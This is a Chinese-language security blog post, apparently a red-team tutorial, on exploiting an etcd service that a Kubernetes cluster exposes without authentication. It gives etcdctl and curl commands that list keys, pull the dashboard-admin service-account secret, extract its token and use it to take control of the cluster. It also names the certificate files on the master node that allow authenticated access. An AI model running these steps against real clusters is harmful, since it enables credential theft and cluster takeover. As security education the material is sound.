K8s etcd未授权访问
2023-4-20 09:1:5 Author: 谢公子学安全(查看原文) 阅读量:41 收藏

在安装完K8s后,默认会安装etcd组件,etcd是一个高可用的key-value数据库,它为k8s集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下etcd,就意味着能控制整个K8s集群。
在K8s集群初始化后,etcd默认就以pod的形式存在,可以执行如下命令进行查看,etcd组件监听的端口为2379,并且对外开放。如图所示:
在etcd的配置文件/etc/kubernetes/manifests/etcd.yaml中,--client-cert-auth默认是true的,如图所示。
这就意味着访问etcd服务需要携带cert进行认证,执行如下命令访问etcd服务,可以看到提示未认证。etcdctl项目地址:https://github.com/etcd-io/etcd/releases/
#使用curl访问curl https://172.16.200.70:2379/version -k#使用etcdctl访问./etcdctl --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only
如果我们拿到了认证所属的如下证书,就可以远程进行认证了
#目标master节点上的证书/etc/kubernetes/pki/etcd/peer.crt/etc/kubernetes/pki/etcd/ca.crt/etc/kubernetes/pki/etcd/peer.key#将这三个认证所需的文件放在本地的etcdctl所在目录,然后导入export ETCDCTL_CERT=peer.crtexport ETCDCTL_CACERT=ca.crtexport ETCDCTL_KEY=peer.key./etcdctl --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only

etcd未授权访问

如果目标在启动etcd的时候没有开启证书认证选项,且2379端口直接对外开放的话,则存在etcd未授权访问漏洞。
访问目标的https://IP:2379/version 或 https://IP:2379/v2/keys,看看是否存在未授权访问。如果显示如下,则证明存在未授权访问。
{etcdserver: "3.2.24", etcdcluster: "3.2.0"}{"action":"get","node":{"dir":true}}

查找Token,接管K8s集群

由于Service Account 关联了一套凭证,存储在 Secret中。因此我们可以过滤Secret,查找具有高权限的Secret,然后获得其token接管K8s集群。
#查找所有的secretETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret#查找指定decret保存的证书和tokenETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp
最后的token为 token? 和 #kubernetes.io/service-account-token之间的部分。
可以使用curl验证token的有效性
curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k
然后就可以使用token登录dashboard或者远程命令管理K8s

End

非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。  如果你想一起学习内网渗透、域渗透、云安全、红队攻防的话,可以加入下面的知识星球一起学习交流。

文章来源: http://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247492517&idx=1&sn=536aa35c1ded5f1b01fdfcd984ad6230&chksm=eaae6398ddd9ea8ed5e55b3f095ab1e76552b07fdb661a432d90c163cb80f8e4291309d4f129#rd
如有侵权请联系:admin#unsafe.sh